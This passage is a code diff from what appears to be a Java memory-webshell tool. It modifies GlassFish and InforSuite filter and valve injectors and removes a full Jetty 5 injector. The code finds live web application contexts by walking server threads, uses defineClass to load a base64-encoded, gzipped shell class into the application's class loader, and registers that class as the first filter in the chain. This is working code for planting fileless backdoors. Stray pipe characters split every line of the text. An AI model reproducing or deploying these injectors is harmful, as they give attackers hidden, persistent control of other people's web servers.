|
||||
Class<?> cls = superclass;
|
||||
if (cls == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Field declaredField = cls.getDeclaredField(str);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
} catch (Exception e) {
|
||||
superclass = cls.getSuperclass();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private List<?> toList(Object obj) {
|
||||
Object value = extractOptionalValue(obj);
|
||||
if (value instanceof Collection) {
|
||||
return new ArrayList<>((Collection<?>) value);
|
||||
}
|
||||
if (value instanceof Map) {
|
||||
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||
}
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
private Object extractOptionalValue(Object obj) {
|
||||
if (obj instanceof Optional) {
|
||||
return ((Optional<?>) obj).orElse(null);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
private Object firstElement(List<?> list) {
|
||||
if (list.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return list.get(0);
|
||||
}
|
||||
|
||||
private ProviderConfig castProviderConfig(Object obj) {
|
||||
if (obj instanceof ProviderConfig) {
|
||||
return (ProviderConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||
if (obj instanceof ApplicationConfig) {
|
||||
return (ApplicationConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(RegistryConfig.class::isInstance)
|
||||
.map(RegistryConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private Object resolveConfigManager() {
|
||||
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||
if (objInvokeStaticNoArgs != null) {
|
||||
return objInvokeStaticNoArgs;
|
||||
}
|
||||
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
}
|
||||
|
||||
private String formatUrls(List<?> list) {
|
||||
return list.stream()
|
||||
.map(this::formatUrl)
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<?> list, String str) {
|
||||
return list.stream()
|
||||
.map(obj -> formatProtocolAddress(obj, str))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatUrl(Object obj) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(Object obj, String str) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||
}
|
||||
|
||||
private String stringValue(Object obj, String str) {
|
||||
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||
}
|
||||
|
||||
private Integer integerValue(Object obj) {
|
||||
if (obj instanceof Number) {
|
||||
return Integer.valueOf(((Number) obj).intValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(ProtocolConfig.class::isInstance)
|
||||
.map(ProtocolConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||
addProtocols(linkedHashMap, collection);
|
||||
addProtocols(linkedHashMap, collection2);
|
||||
return new ArrayList<>(linkedHashMap.values());
|
||||
}
|
||||
|
||||
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||
if (collection == null) {
|
||||
return;
|
||||
}
|
||||
for (ProtocolConfig protocolConfig : collection) {
|
||||
if (protocolConfig != null) {
|
||||
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||
}
|
||||
|
||||
private String getErrorMessage(Throwable th) {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||
th.printStackTrace(printStream);
|
||||
return byteArrayOutputStream.toString();
|
||||
} catch (IOException e) {
|
||||
return String.valueOf(th);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -43,7 +40,7 @@ public class GlassFishFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -87,58 +84,16 @@ public class GlassFishFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
if (childrenMap == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
if (children != null) {
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
/**
|
||||
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
Object container = getFieldValue(target, "this$0");
|
||||
if (container != null) {
|
||||
return container;
|
||||
}
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
@@ -171,18 +126,15 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
Object filterDef;
|
||||
Object filterMap;
|
||||
Class<?> filterMapClass;
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
// tomcat v8+
|
||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
} catch (Exception e2) {
|
||||
// tomcat v5+
|
||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
}
|
||||
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
@@ -193,16 +145,19 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
}
|
||||
|
||||
// addFilterMapFirst
|
||||
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||
filterMaps.add(0, filterMap);
|
||||
try {
|
||||
// v7.0.0 以上
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
Constructor filterConfigConstructor;
|
||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
@@ -273,39 +228,21 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
|
||||
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -76,15 +76,7 @@ public class GlassFishValveInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
@@ -95,40 +87,6 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
try {
|
||||
return getFieldValue(target, "this$0");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
try {
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = getFieldValue(atomic, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
Object base = getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -128,28 +128,17 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||
Object filterMap = filterMapClass.newInstance();
|
||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
|
||||
// addFilterMapFirst
|
||||
try {
|
||||
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||
if (filterMaps instanceof List) {
|
||||
// InforSuite9
|
||||
((List<Object>) filterMaps).add(0, filterMap);
|
||||
}
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
// InforSuite10
|
||||
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||
results[0] = filterMap;
|
||||
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
@@ -203,54 +192,52 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -1,297 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object filterHolder = invokeMethod(
|
||||
webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
invokeMethod(
|
||||
webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||
moveLastPathFilterToFront(webApplicationHandler);
|
||||
clearChainCache(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters != null && pathFilters.size() > 1) {
|
||||
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||
pathFilters.add(0, filterMapping);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
